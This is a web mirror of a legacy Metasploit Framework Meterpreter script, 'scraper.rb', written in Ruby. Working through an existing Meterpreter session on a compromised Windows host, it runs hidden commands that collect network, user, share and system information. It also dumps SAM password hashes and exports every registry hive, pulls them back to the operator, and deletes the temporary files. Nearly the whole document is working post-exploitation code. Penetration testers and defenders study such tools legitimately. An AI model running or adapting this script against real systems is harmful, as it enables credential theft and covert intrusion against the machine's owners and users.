CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/scripts/meterpreter/scraper.rb
Views: 1904
1
##
2
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
3
# If you'd like to improve this script, please try to port it as a post
4
# module instead. Thank you.
5
##
6
7
8
# This is a Meterpreter script designed to be used by the Metasploit Framework
9
#
10
# The goal of this script is to obtain system information from a victim through
11
# an existing Meterpreter session. This is only a simple example of what can
12
# be accomplished through Meterpreter scripting.
13
#
14
# hdm[at]metasploit.com
15
#
16
opts = Rex::Parser::Arguments.new(
17
"-h" => [ false,"Help menu." ]
18
)
19
20
opts.parse(args) { |opt, idx, val|
21
case opt
22
when "-h"
23
print_line("Scraper -- harvest system info including network shares, registry hives and password hashes")
24
print_line("Info is stored in " + ::File.join(Msf::Config.log_directory,"scripts", "scraper"))
25
print_line("USAGE: run scraper")
26
print_line(opts.usage)
27
raise Rex::Script::Completed
28
end
29
}
30
31
require 'fileutils'
32
33
# Some of this script was developed in conjunction with _MAX_ (max[at]remote-exploit.org)
34
# The complete version will be released in the future as 'autometer'
35
36
# Delete a file (meterpreter has no unlink API yet)
37
def m_unlink(client, path)
38
r = client.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'})
39
while(r.name)
40
select(nil, nil, nil, 0.10)
41
end
42
r.close
43
end
44
def unsupported
45
print_error("This version of Meterpreter is not supported with this Script!")
46
raise Rex::Script::Completed
47
end
48
# Exec a command and return the results
49
def m_exec(client, cmd)
50
begin
51
r = client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
52
b = ""
53
while(d = r.channel.read)
54
b << d
55
break if d == ""
56
end
57
r.channel.close
58
r.close
59
b
60
rescue ::Exception => e
61
print_error("Failed to run command #{cmd}")
62
print_error("Error: #{e.class} #{e}")
63
end
64
end
65
66
67
68
69
# Extract the host and port
70
host,port = client.session_host, client.session_port
71
72
print_status("New session on #{host}:#{port}...")
73
74
# Create a directory for the logs
75
logs = ::File.join(Msf::Config.log_directory, 'scripts','scraper', host + "_" + Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",rand(100000)) )
76
77
# Create the log directory
78
::FileUtils.mkdir_p(logs)
79
80
unsupported if client.platform != 'windows'
81
begin
82
83
tmp = client.sys.config.getenv('TEMP')
84
85
print_status("Gathering basic system information...")
86
87
::File.open(File.join(logs, "network.txt"), "w") do |fd|
88
fd.puts("=" * 70)
89
client.net.config.each_route do |route|
90
fd.puts("Local subnet: #{route.subnet}/#{route.netmask}")
91
end
92
93
fd.puts("=" * 70)
94
fd.puts(m_exec(client, "netstat -na"))
95
96
fd.puts("=" * 70)
97
fd.puts(m_exec(client, "netstat -ns"))
98
end
99
100
info = client.sys.config.sysinfo()
101
::File.open(File.join(logs, "system.txt"), "w") do |fd|
102
fd.puts("Computer: #{info['Computer']}")
103
fd.puts("OS: #{info['OS']}")
104
end
105
106
::File.open(File.join(logs, "env.txt"), "w") do |fd|
107
fd.puts(m_exec(client, "cmd.exe /c set"))
108
end
109
110
::File.open(File.join(logs, "users.txt"), "w") do |fd|
111
fd.puts(m_exec(client, "net user"))
112
end
113
114
::File.open(File.join(logs, "shares.txt"), "w") do |fd|
115
fd.puts(m_exec(client, "net share"))
116
end
117
118
::File.open(File.join(logs, "services.txt"), "w") do |fd|
119
fd.puts(m_exec(client, "net start"))
120
end
121
122
::File.open(File.join(logs, "nethood.txt"), "w") do |fd|
123
fd.puts(m_exec(client, "net view"))
124
end
125
126
::File.open(File.join(logs, "localgroup.txt"), "w") do |fd|
127
fd.puts(m_exec(client, "net localgroup"))
128
end
129
130
::File.open(File.join(logs, "group.txt"), "w") do |fd|
131
fd.puts(m_exec(client, "net group"))
132
end
133
134
::File.open(File.join(logs, "systeminfo.txt"), "w") do |fd|
135
fd.puts(m_exec(client, "systeminfo"))
136
end
137
138
begin
139
client.core.use("priv")
140
hashes = client.priv.sam_hashes
141
print_status("Dumping password hashes...")
142
::File.open(File.join(logs, "hashes.txt"), "w") do |fd|
143
hashes.each do |user|
144
fd.puts(user.to_s)
145
end
146
end
147
rescue ::Exception => e
148
print_status("Error dumping hashes: #{e.class} #{e}")
149
end
150
151
print_status("Obtaining the entire registry...")
152
hives = %w{HKCU HKLM HKCC HKCR HKU}
153
hives.each do |hive|
154
print_status(" Exporting #{hive}")
155
156
tempname = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}.reg"
157
m_exec(client, "reg.exe export #{hive} #{tempname}")
158
159
print_status(" Downloading #{hive} (#{tempname})")
160
client.fs.file.download_file(File.join(logs, "#{hive}.reg"), tempname)
161
162
print_status(" Cleaning #{hive}")
163
m_unlink(client, tempname)
164
end
165
166
print_status("Completed processing on #{host}:#{port}...")
167
168
rescue ::Exception => e
169
print_status("Exception: #{e.class} #{e} #{e.backtrace}")
170
end
171
172
173